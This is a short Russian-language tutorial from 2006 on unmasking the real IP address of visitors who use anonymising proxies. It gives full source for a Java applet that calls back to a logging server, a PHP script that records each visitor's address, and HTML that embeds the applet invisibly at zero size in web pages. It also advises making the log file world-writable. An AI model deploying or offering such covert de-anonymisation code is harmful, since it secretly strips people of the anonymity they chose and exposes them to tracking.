Определяем реальный IP
Сегодня мы будем учиться узнавать реальный IP человека за SOCKS/анонимной HTTP/любой другой проксях. Работает это если у него в браузере включена поддержка Java-апплетов (по дефолту в огнелисе и в опере включены !). Апплет будет создавать подключение к специальному скрипту-снифферу через свой сокет, а скрипт на PHP будет логировать его IP. Вот и все пояснения, исходники тут: Апплет IPLog.java (на сервер надо выкладывать скомпиленный байт-код IPLog.class C:>javac IPlog.java - чтобы скомпилить, надо Java SDK или Eclipse Studio)
/**
* IPLog.java
* @author WindEX
*/
import java.applet.*;
import java.io.*;
import java.net.*;
public class IPLog extends Applet {
public void init() {
setLayout(null);
String params = "?sess="+getParameter("sess");
String buff = "";
int c;
URL hp;
try {
hp = new URL("http", getParameter("host"), 80, getParameter("sniffpath")+params);
InputStream input = hp.openStream();
while ((c = input. read()) != -1) {
buff = buff + (char) c;
}
input.close();
} catch (Exception e1) { buff = "An error occured"; }
}
}
ПХП-логгер:
<?php
$f=Fopen("./result.log","a") or die("ale!!!!!!!!!");
fputs($f,$REMOTE_ADDR."\n");
fputs($f,$QUERY_STRING."\n---------------------\n");
fclose($f);
echo("Your IP logged");
?>
Дальше во все файлы, обращение к которым надо логировать, вставляем (параметр sess - какое-нибудь уникальное значение, необходим для связывания запроса через прокси и реального IP)
<html;>
<applet; code=IPLog width=0 height=0>
<param; name=sess value=(какое-нибудь уникальное значение)>
<param; name=host value='yoursite.ru'>
<param; name=sniffpath value='/logging/sniff.php'>
</applet>
</html>
И не забудь создать файл result.log и поставить на него необходимые права
$touch result.log;chmod 777 result.log
Май 2006 г.